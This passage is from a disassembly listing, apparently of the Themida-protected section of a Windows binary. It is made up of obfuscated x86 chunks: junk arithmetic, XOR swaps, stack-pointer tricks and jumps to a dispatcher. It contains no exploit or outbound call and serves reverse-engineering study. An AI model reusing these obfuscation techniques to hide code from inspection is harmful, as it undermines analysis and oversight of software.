loc_555CF3:				; CODE XREF: sub_556A70+40C0j
		push	[esp-1Ch+arg_18]
		mov	eax, [esp-18h+arg_14]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], ecx
		xor	ecx, [esp-14h+arg_10]
		jmp	loc_551667
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555D19:				; CODE XREF: Themida_:00556558j
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_555D28:				; CODE XREF: Themida_:00552ABEj
		sub	ebp, 4D347D11h
		add	ebp, eax
		add	ebp, 4D347D11h
		sub	ebp, 0ABC6925h
		jmp	loc_555992
; ---------------------------------------------------------------------------


loc_555D41:				; CODE XREF: Themida_:005591C1j
		pop	eax
		push	53A1h
		mov	[esp], ebx
		mov	ebx, 0EEAFBFECh
		add	esi, 33196B72h
		add	esi, ebx
		sub	esi, 33196B72h
		jmp	loc_557236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555D62:				; CODE XREF: sub_556A70-51AAj
		push	edx
		mov	edx, 23423CB3h
		sub	edx, 0E209DC9Eh
		jmp	loc_556506
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555D73:				; CODE XREF: Themida_:0055697Dj
		sub	[esp], esi
		pop	esi
		push	eax
		jmp	loc_553557
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555D7D:				; CODE XREF: sub_556A70-222Bj
		dec	ch
		sub	ch, 0C2h
		sub	ch, 5Eh
		sub	al, ch
		pop	ecx
		mov	edx, [esp-14h+arg_10]
		add	esp, 4
		sub	al, bl
		push	ecx
		mov	ch, 63h
		sub	ch, 0FFh
		xor	ch, 0FFh
		jmp	loc_552C41
; ---------------------------------------------------------------------------


loc_555D9E:				; CODE XREF: sub_556A70+3AC5j
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		jmp	loc_5573DE
; ---------------------------------------------------------------------------


loc_555DAC:				; CODE XREF: sub_556A70-62Ej
		mov	esi, [esp-18h+arg_14]
		add	esp, 4
		jmp	loc_550D02
; ---------------------------------------------------------------------------


loc_555DBA:				; CODE XREF: sub_556A70+5F4j
		add	ecx, 4
		xchg	ecx, [esp-1Ch+arg_18]
		pop	esp
		jmp	loc_553082
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555DC6:				; CODE XREF: Themida_:00552B92j
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552BB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555DD2:				; CODE XREF: sub_556A70-3124j
		push	ecx
		push	edi
		mov	edi, 19125F4Ch
		mov	ecx, 19125F50h
		sub	ecx, edi
		mov	edi, [esp-14h+arg_10]
		add	esp, 4
		add	edi, ecx
		push	[esp-18h+arg_14]
		pop	ecx
		add	esp, 4
		add	edi, 4
		jmp	loc_55565F
; ---------------------------------------------------------------------------


loc_555E00:				; CODE XREF: sub_556A70+3C36j
		add	edi, 4
		push	edi
		push	[esp-18h+arg_18]
		pop	edi
		pop	[esp-18h+arg_14]
		pop	esp
		add	esp, 4
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_555E1B:				; CODE XREF: sub_556A70+27DCj
		push	76B7h
		mov	[esp-20h+arg_1C], esi
		mov	esi, 26D1C1Ch
		sub	[esp-20h+arg_20], esi
		push	[esp-20h+arg_1C]
		jmp	loc_55C5E9
; ---------------------------------------------------------------------------


loc_555E34:				; CODE XREF: sub_556A70+2B0j
		push	edx
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		mov	bl, dh
		pop	edx
		push	[esp-1Ch+arg_18]
		jmp	loc_55A9DC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555E46:				; CODE XREF: Themida_:005528A7j
		mov	ebp, 559C1C7Bh
		mov	edi, ebp
		jmp	loc_551C0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555E52:				; CODE XREF: sub_556A70-47C2j
		add	esp, 4
		jmp	loc_55145B
; ---------------------------------------------------------------------------


loc_555E5D:				; CODE XREF: sub_556A70-31D2j
		mov	edx, [esp-10h+arg_C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554D97
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5599E2


loc_555E6E:				; CODE XREF: sub_5599E2-679Dj
		push	[esp+8+var_8]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		jmp	loc_55745E
; END OF FUNCTION CHUNK	FOR sub_5599E2
; ---------------------------------------------------------------------------


loc_555E81:				; CODE XREF: Themida_:00558B78j
		dec	ecx
		jmp	loc_55B8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE68


loc_555E87:				; CODE XREF: sub_55AE68+1j
		mov	ebx, 2F674F79h
		push	ebx
		push	ebp
		mov	ebp, 62BF348Eh
		jmp	loc_556D5C
; END OF FUNCTION CHUNK	FOR sub_55AE68
; ---------------------------------------------------------------------------


loc_555E98:				; CODE XREF: Themida_:0055926Ej
		add	esp, 4
		push	23E4h
		mov	[esp], ebx
		push	3E75h
		mov	[esp], edx
		mov	dl, 0F3h
		jmp	loc_559483
; ---------------------------------------------------------------------------


loc_555EB2:				; CODE XREF: Themida_:00550AE1j
		push	ecx
		jmp	loc_5540F9
; ---------------------------------------------------------------------------


loc_555EB8:				; CODE XREF: Themida_:00552C23j
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		jmp	loc_55CCF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A9A4


loc_555EC5:				; CODE XREF: sub_55A9A4+11j
		mov	cl, al
		pop	eax
		jmp	loc_55A80C
; END OF FUNCTION CHUNK	FOR sub_55A9A4
; ---------------------------------------------------------------------------


loc_555ECD:				; CODE XREF: Themida_:0055AF94j
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_558F90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555EDD:				; CODE XREF: sub_556A70+969j
		sub	al, ch
		pop	ecx
		jmp	loc_559281
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555EE5:				; CODE XREF: Themida_:00554C77j
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_559D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555EFA:				; CODE XREF: sub_556A70+5974j
		pop	ebp
		push	edi
		push	eax
		mov	eax, ebp
		jmp	loc_554485
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555F04:				; CODE XREF: Themida_:00553CD0j
		or	ebx, eax
		jmp	loc_551A3C
; ---------------------------------------------------------------------------


loc_555F0B:				; CODE XREF: Themida_:00553485j
		test	cl, al
		pushf
		jmp	loc_5511FF

; =============== S U B	R O U T	I N E =======================================



sub_555F13	proc near		; CODE XREF: sub_557EBA+25A8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055B8FB SIZE 00000005 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	edx, ebx
		pop	ebx
		jmp	loc_55B8FB
sub_555F13	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555F2F:				; CODE XREF: sub_556A70+C6Cj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp-10h+arg_C], esp
		jmp	loc_550B90
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555F46:				; CODE XREF: Themida_:005557F6j
		sub	ecx, 262E5A76h
		jmp	loc_5515BE
; ---------------------------------------------------------------------------


loc_555F51:				; CODE XREF: Themida_:0055243Bj
		mov	[esp], esi
		push	565C1995h
		pop	esi
		jmp	loc_55486D
; ---------------------------------------------------------------------------


loc_555F5F:				; CODE XREF: Themida_:0055AB55j
		pop	edx
		push	eax
		mov	eax, 4
		sub	ebx, 4132071h
		add	ebx, eax
		add	ebx, 4132071h
		jmp	loc_5575CC
; ---------------------------------------------------------------------------


loc_555F79:				; CODE XREF: Themida_:0055C780j
		push	6FD1h
		mov	[esp], esi
		push	149Ch
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_5536C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555F94:				; CODE XREF: sub_556A70+A9Aj
		xor	edx, 0DEE00004h
		add	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_555317
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_555FA3:				; CODE XREF: Themida_:00554E68j
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_55C556
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_555FB4:				; CODE XREF: sub_55A748+1AB1j
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_552DFE
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------


loc_555FBD:				; CODE XREF: Themida_:005592D4j
		pop	esi
		xor	ecx, [esp]
		jmp	loc_553699
; ---------------------------------------------------------------------------


loc_555FC6:				; CODE XREF: Themida_:00557BDAj
		add	esp, 4
		push	edi
		mov	edi, 7EC46181h
		sub	edi, 0FFFFFFFFh
		xor	edi, 476B41F3h
		shr	edi, 7
		add	edi, 0FF8CA1C4h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_55C277
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_555FFD:				; CODE XREF: sub_556A70+613j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], esi
		xor	esi, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp-10h+arg_C], ecx
		push	ebx
		jmp	loc_55A506
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_55601C:				; CODE XREF: sub_55B730-9BDj
		pop	ebp
		sub	ebp, 4CE60C68h
		add	ebp, 47D178B6h
		add	ebp, ebx
		sub	ebp, 47D178B6h
		jmp	loc_553DC5
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556036:				; CODE XREF: sub_556A70+40EFj
		mov	edx, esp
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_556719
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55604D:				; CODE XREF: Themida_:0055B41Cj
		mov	ch, 89h
		sub	al, ch
		pop	cx
		jmp	loc_551F76

; =============== S U B	R O U T	I N E =======================================



sub_556058	proc near		; CODE XREF: sub_556A70+BCFj
		push	ebx
		push	ebp
		push	292E31F1h
		pop	ebp
		jmp	loc_55750F
sub_556058	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556065:				; CODE XREF: sub_556A70+3B9j
		mov	ecx, 2
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp-0Ch+arg_8]
		pop	esp
		bts	word ptr [esp-10h+arg_C], ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55607C:				; CODE XREF: sub_556A70+506Bj
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, esp
		jmp	loc_55C64F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_556086:				; CODE XREF: Themida_:0055345Aj
		xor	bh, 23h
		xor	ch, bh
		pop	ebx
		or	ch, 0C5h
		add	ch, 18h
		jmp	loc_557F58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556097:				; CODE XREF: sub_556A70-155j
		sub	edi, 62995DB6h
		sub	edi, 53502266h
		sub	edi, eax
		add	edi, 53502266h
		add	edi, 62995DB6h
		pop	eax
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 254B1651h
		sub	edi, 66BB0CC6h
		neg	edi
		inc	edi
		sub	edi, 9DC97F4Ah
		sub	ebp, edi
		pop	edi
		sub	[edi+24h], ebp
		pop	ebp


loc_5560D1:				; CODE XREF: sub_5584F8-7A2Ej
		push	5A53h
		jmp	loc_55AB2D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D17


loc_5560DB:				; CODE XREF: sub_553D17+1j
		mov	bl, 9Bh
		xor	bl, 2
		sub	bl, 0C0h
		sub	esp, 4
		jmp	loc_550BF5
; END OF FUNCTION CHUNK	FOR sub_553D17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5560EE:				; CODE XREF: sub_556A70+3E7Dj
		push	esi
		push	35F50D83h
		pop	esi
		dec	esi
		not	esi
		jmp	loc_55275E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5560FD:				; CODE XREF: Themida_:00550BB6j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_558D26
; ---------------------------------------------------------------------------


loc_556116:				; CODE XREF: Themida_:00559A9Ej
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	6CF2h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	2
		jmp	loc_55C321
; ---------------------------------------------------------------------------


loc_556151:				; CODE XREF: Themida_:00558ED8j
		mov	ebx, esp
		push	edx
		push	ebx
		mov	ebx, 5AAC50EEh
		dec	ebx
		jmp	loc_55AB35
; ---------------------------------------------------------------------------


loc_556160:				; CODE XREF: Themida_:00558486j
		pop	ebp
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_556166:				; CODE XREF: Themida_:00551E57j
		push	10F2h
		mov	[esp], edx
		push	ebx
		jmp	loc_551688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556174:				; CODE XREF: sub_556A70+19A5j
		add	esp, 4
		pop	[esp-14h+arg_10]
		jmp	loc_559240
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_556182:				; CODE XREF: Themida_:00555C3Dj
		add	ecx, 0F6D88057h
		mov	eax, ecx
		pop	ecx
		mov	edx, eax
		pop	eax
		push	edi
		mov	edi, 5D70168Ch
		dec	edi
		shl	edi, 7
		push	0
		sub	[esp], edi
		pop	edi
		xor	edi, 7CE06E47h
		push	esi
		mov	esi, 79C3054Eh
		dec	esi
		dec	esi
		add	esi, 0C76B7E1Ch
		xor	edi, esi
		jmp	loc_55C601
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5561BC:				; CODE XREF: sub_556A70+1EB1j
		add	edx, 7B6B14B2h
		sub	edx, edi
		sub	edx, 7B6B14B2h
		push	[esp-18h+arg_14]
		jmp	loc_555A73
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_5561D2:				; CODE XREF: sub_5516F8+B4Bj
		neg	eax
		neg	eax
		xor	eax, 0C0C148D4h
		mov	ecx, eax
		jmp	loc_55A204
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------


loc_5561E2:				; CODE XREF: Themida_:0055AFBDj
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556223:				; CODE XREF: sub_556A70+3543j
		xor	ebx, edx
		xchg	esi, edx
		jmp	loc_559A56
; ---------------------------------------------------------------------------


loc_55622C:				; CODE XREF: sub_556A70+2C72j
		pop	esi
		push	ebp
		mov	ebp, 9AD49CFh
		jmp	loc_559AE7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_556238:				; CODE XREF: sub_5584F8+2439j
		not	ebp
		and	ebp, 342A58C1h
		push	edx
		jmp	loc_550F7E
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556246:				; CODE XREF: sub_556A70-3B24j
		push	ecx
		jmp	loc_559BB2
; ---------------------------------------------------------------------------


loc_55624C:				; CODE XREF: sub_556A70-177Dj
		mov	esp, [esp+4+var_4]
		inc	byte ptr [esp+4+var_4]
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_556258:				; CODE XREF: Themida_:00552727j
		push	2D5Fh
		mov	[esp], ebp
		jmp	loc_5579E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556265:				; CODE XREF: sub_556A70+1EAAj
		pop	eax
		add	edx, eax
		add	dword ptr [edx], 1
		mov	edx, [esp+4+var_4]
		add	esp, 4
		mov	eax, [esp+0]
		jmp	loc_55ACBB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550BFD


loc_55627F:				; CODE XREF: sub_550BFD+18j
		xor	ebx, 0E3888659h
		jmp	loc_559427
; END OF FUNCTION CHUNK	FOR sub_550BFD
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_556292:				; CODE XREF: Themida_:00552BDDj
		pop	edx
		push	edi
		jmp	loc_554132
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556299:				; CODE XREF: sub_556A70+25FDj
		xor	[esp+0], ebp
		jmp	loc_55774F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5562A1:				; CODE XREF: Themida_:0055CD02j
		xor	eax, 7A0D18ECh
		jmp	loc_5535B8
; ---------------------------------------------------------------------------


loc_5562AB:				; CODE XREF: Themida_:0055AEF2j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	283Dh
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 28B03E8Eh
		jmp	loc_555759
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5562DE:				; CODE XREF: sub_556A70-37D1j
		shr	esi, 5
		xor	esi, 0F79047AFh
		sub	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp-1Eh+arg_18+2]
		sub	esp, 4
		jmp	loc_55634F
; ---------------------------------------------------------------------------


loc_5562F7:				; CODE XREF: sub_556A70-14j
		add	edi, 547A2D33h
		pop	ebx
		pop	ebp
		xchg	edi, [esp-22h+arg_1C+2]
		mov	esp, [esp-22h+arg_1C+2]
		mov	word ptr [esp-22h+arg_1C+2], ax
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_55630E:				; CODE XREF: sub_5566B9-4694j
		push	ecx
		push	ebp
		jmp	loc_550F6C
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 70CC7DF4h
		shl	ebp, 7
		add	ebp, 0FFFFFFFFh
		sub	ebp, 1D3601FDh
		push	esi
		mov	esi, 0DCEEB98Eh
		add	ebp, 4F0902CEh
		sub	ebp, esi
		sub	ebp, 4F0902CEh
		pop	esi
		add	eax, 2B715068h
		jmp	loc_552B7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55634F:				; CODE XREF: sub_556A70-77Ej
		mov	[esp-1Ah+arg_14+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-1Ah+arg_14+2]
		pop	esp
		or	eax, eax
		jz	loc_55ACC7
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, esp
		jmp	loc_558A39
; ---------------------------------------------------------------------------


loc_556377:				; CODE XREF: sub_556A70+B40j
		mov	ebp, esi
		pop	esi
		jmp	loc_551EFC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55637F:				; CODE XREF: Themida_:00559DAFj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_553AAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557F09


loc_55639E:				; CODE XREF: sub_557F09-6EA0j
		push	5A7Ch
		mov	[esp+0Ch+var_C], ebx
		pop	ecx
		push	[esp+8+var_8]
		jmp	loc_559D44
; END OF FUNCTION CHUNK	FOR sub_557F09
; ---------------------------------------------------------------------------


loc_5563AF:				; CODE XREF: Themida_:00550CB8j
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55B6B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550E2C


loc_5563BC:				; CODE XREF: sub_550E2C+93D3j
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	eax
		push	[esp+arg_0]
		pop	eax
		pop	dword ptr [esp+0]
		pop	esp
		movsx	ecx, ax
		push	eax
		push	esp
		pop	eax
		jmp	sub_5526D6
; END OF FUNCTION CHUNK	FOR sub_550E2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CC90


loc_5563DE:				; CODE XREF: sub_55CC90+3j
		mov	[esp+8+var_8], esp
		push	ebp
		mov	ebp, 4
		add	[esp+0Ch+var_8], ebp
		pop	ebp
		jmp	loc_552FAD
; END OF FUNCTION CHUNK	FOR sub_55CC90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5563F1:				; CODE XREF: sub_556A70+60D6j
		pop	ebp
		add	esi, 67F357D5h
		add	esi, edi
		jmp	loc_55B5F5
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_5563FF	proc near		; CODE XREF: sub_556A70-3966j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055C6E0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055CB76 SIZE 00000027 BYTES

		push	ebx
		mov	ebx, 69EA5388h
		add	ebp, ebx
		pop	ebx
		jmp	loc_55CB76
sub_5563FF	endp

; ---------------------------------------------------------------------------


loc_55640D:				; CODE XREF: Themida_:0055C33Dj
		pop	edx
		add	ebp, edx
		add	ebp, 646C5B0Bh
		pop	edx
		jmp	loc_55B8A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55641C:				; CODE XREF: sub_556A70-5B22j
		shr	eax, 3
		neg	eax
		jmp	loc_555255
; ---------------------------------------------------------------------------


loc_556426:				; CODE XREF: sub_556A70+1B4Ej
		xor	esi, ebp
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		shl	esi, 6
		push	edx
		mov	edx, 16EA4E48h
		or	esi, edx
		pop	edx
		sub	esi, 7EFDFFC8h
		and	eax, esi
		jmp	loc_555DAC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_556447:				; CODE XREF: sub_553651+79D2j
		mov	eax, 4
		jmp	loc_5529A9
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55515F


loc_556451:				; CODE XREF: sub_55515F-BF7j
		push	eax
		jmp	loc_551A56
; END OF FUNCTION CHUNK	FOR sub_55515F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_556457:				; CODE XREF: sub_5584F8-7AA5j
		shr	ecx, 0Bh
		push	1D2h
		mov	[esp+0], ebx
		push	esp
		jmp	loc_5585A5
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_556468:				; CODE XREF: Themida_:0055307Dj
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558E31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5582B3


loc_55647C:				; CODE XREF: sub_5582B3-4D96j
		sub	ebx, 46BC65F2h
		add	ebx, eax
		add	ebx, 46BC65F2h
		push	ebp
		push	eax
		push	0ED36ACh
		pop	eax
		shr	eax, 5
		sub	eax, 0EEEB3588h
		mov	ebp, eax
		pop	eax
		add	ebx, 374F539Bh
		add	ebx, ebp
		jmp	sub_557EBA
; END OF FUNCTION CHUNK	FOR sub_5582B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5564AA:				; CODE XREF: sub_556A70-2DCCj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		add	ebp, 4
		push	ebx
		push	esi
		push	6EAA1A09h
		pop	esi
		xor	esi, 79631CE8h
		inc	esi
		jmp	loc_551F4C
; ---------------------------------------------------------------------------


loc_5564D4:				; CODE XREF: sub_556A70-2B2j
		push	ecx
		jmp	loc_552E48
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5564DA:				; CODE XREF: Themida_:00558A02j
		xor	[esp], al
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5564E3:				; CODE XREF: sub_556A70+998j
		not	edi
		sub	edi, 40614549h
		sub	eax, edi
		pop	edi
		dec	eax
		add	eax, 16DF333Dh
		jmp	loc_55102D
; ---------------------------------------------------------------------------


loc_5564F9:				; CODE XREF: sub_556A70+5248j
		mov	[esp+0Ch+var_C], edx
		mov	edx, 24h
		jmp	loc_5594C2
; ---------------------------------------------------------------------------


loc_556506:				; CODE XREF: sub_556A70-D02j
		add	ebx, edx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		add	edi, 4B3D008Bh
		sub	edi, 657E4EC9h
		add	edi, ebx
		add	edi, 657E4EC9h
		sub	edi, 4B3D008Bh
		pop	ebx
		add	edi, 2
		jmp	loc_559A63
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_556531:				; CODE XREF: Themida_:00553064j
		or	edi, ebx
		jmp	loc_55B7A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_556538:				; CODE XREF: sub_556A70+27Cj
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		jmp	sub_558AE7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_556547:				; CODE XREF: Themida_:005566A3j
		add	ebx, 3B4F79B9h
		shl	ebx, 1
		sub	ebx, 7A07807Ah
		mov	ecx, ebx
		pop	ebx
		jmp	loc_555D19
; ---------------------------------------------------------------------------


loc_55655D:				; CODE XREF: Themida_:00551E3Cj
		push	1D6h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5533B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_556572:				; CODE XREF: sub_552E24+68F0j
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_55BAE0
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------


loc_556581:				; CODE XREF: Themida_:00555794j
		mov	eax, 64E77962h
		jmp	loc_55A158
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55658B:				; CODE XREF: sub_556A70-2F2j
		pop	edi
		push	edi
		push	eax
		push	edi
		mov	edi, 4B4A7623h
		sub	edi, 77B462FAh
		add	edi, 485901D9h
		jmp	loc_555947
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
